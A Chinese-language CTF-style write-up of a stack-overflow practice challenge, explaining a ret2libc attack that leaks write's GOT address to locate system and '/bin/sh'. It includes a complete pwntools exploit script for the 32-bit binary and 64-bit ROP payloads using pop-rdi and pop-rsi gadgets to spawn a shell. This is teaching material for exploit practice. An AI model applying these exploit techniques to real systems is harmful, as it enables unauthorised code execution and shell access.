题目地址:请看pwn栈溢出基础练习题——1 ;放了本博客的所有练习题目
pwn3
该题详解
题目分析
题目给了libc函数
先checksec
反编译,明显存在一个漏洞函数,通过read()栈溢出
但此题困难点在于栈不能shellcode,并且并不存在system函数,但给了libc,则可以通过libc找到system函数
libc装载入内存时,基地址会变化,但由于是整体装入,函数偏移并不会变化
tips:本题虽然给了libc,但要是想打本地还是要用本地的libc,不然会出问题
思路:通过write函数输出write的真实地址,然后通过libc找到system的真实地址,调用system函数并传入/bin/sh参数即可
利用本地libc打本通本地
利用lld level3可以查看该函数在本地使用的libc
但该libc只是一个软连接,避免意外,找到真实libc最好,使用file libc文件即可
发现真实libc地址:/lib/i386-linux-gnu/libc-2.33.so
调试计算溢出地址
计算偏移地址为0x88+4
得到system函数地址
函数调用时,plt和got表关系图,总体而言got表存放了函数的真实地址
想法:可以根据已有的write函数地址和libc中的write函数可以计算libc这次载入时的基地址,基地址+system地址的偏移即可计算出system函数真实地址
因此我们要计算出函数运行时的write函数的真实地址,只需要输出got表中的write地址即可,并且可以通过用write函数将地址信息输出出来,则溢出目的:调用write函数并输出write函数真实地址
ssize_t write(int fd,void*buf,size_t count)
fd: 是文件描述符,对应1
buf: 需要写入的数据,通常为字符串;
count: 每次写入的字节数
payload = cyclic(0x88_4) + p32(elf.plt["write"]) + p32(elf.symbols["vulnerable_function"])+p32(1)+p32(elf.got["write"])+p32(4)
io.send(payload)
io.recv()
压入vulnerable_function_addr地址是因为这题还未解决,还要再次利用vulnerable_function里的read溢出,因此希望执行完后将函数返回到vulnerable_function
结果
这里输出的是字符串格式,用u32()解码即可
write真实地址为0xf7e4ad50
计算system真实地址
找到/bin/sh地址
虽然题目中没有/bin/sh地址,但是libc中存在,利用libc找到/bin/sh
bin_sh = libc_base + next(libc.search(b’/bin/sh’))
进行二次栈溢出
payload = cyclic(0x88+4)+p32(system_addr)+b’AAAA’ + p32(bin_sh)
完整攻击代码
from pwn import *
elf = ELF("./level3")
libc = ELF("/lib/i386-linux-gnu/libc-2.33.so")
io = process("./level3")
# 进行第一次栈溢出,并返回vulnerable函数
payload = cyclic(0x88+4) + p32(elf.plt["write"]) + p32(elf.symbols["vulnerable_function"])+p32(1)+p32(elf.got["write"])+p32(4)
io.send(payload)
io.recv()
write_addr = int(hex(u32(b'P\xad\xe4\xf7')),16)
libc_base = write_addr - libc.symbols["write"]
system_addr = libc_base + libc.symbols["system"]
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 进行第二次栈溢出,进入sh
payload = cyclic(0x88+4)+p32(system_addr)+b'AAAA' + p32(bin_sh)
io.send(payload)
io.interactive()
64位
64位与32位函数调用时的区别
x86:
- 使用栈传递参数
- 使用eax存返回值
注意x86参数是倒序存入栈的
amd64:
- 前6个参数依次存放于rdi,rsi,rdx,rcx,r8,r9寄存器中
- 后7个参数存放于栈中
注意寄存器是顺着放入,当存入栈时也是逆序放入,因为栈先进后出
栈构造图
由于64位参数放在寄存器中,前三个参数分别放置在rdi,rsi,rdx
先ROPgadget下看这三个寄存器是否能pop ret
发现存在rdi、rsi ,但不没有rdx,由于是write函数的三个参数,第三个参数是输出数据的长度,我们这想要其输出write函数的真实地址,因此第三个参数>8即可,因此rdx存的值>8就行,这就看运气了
第一次栈溢出的栈结构图:
payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got["write"]) + b'A'*8 + p64(elf.plt["write"]) + p64(elf.symbols["vulnerable_function"])
第二次栈溢出的结构图
payload = b'A'*(128+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)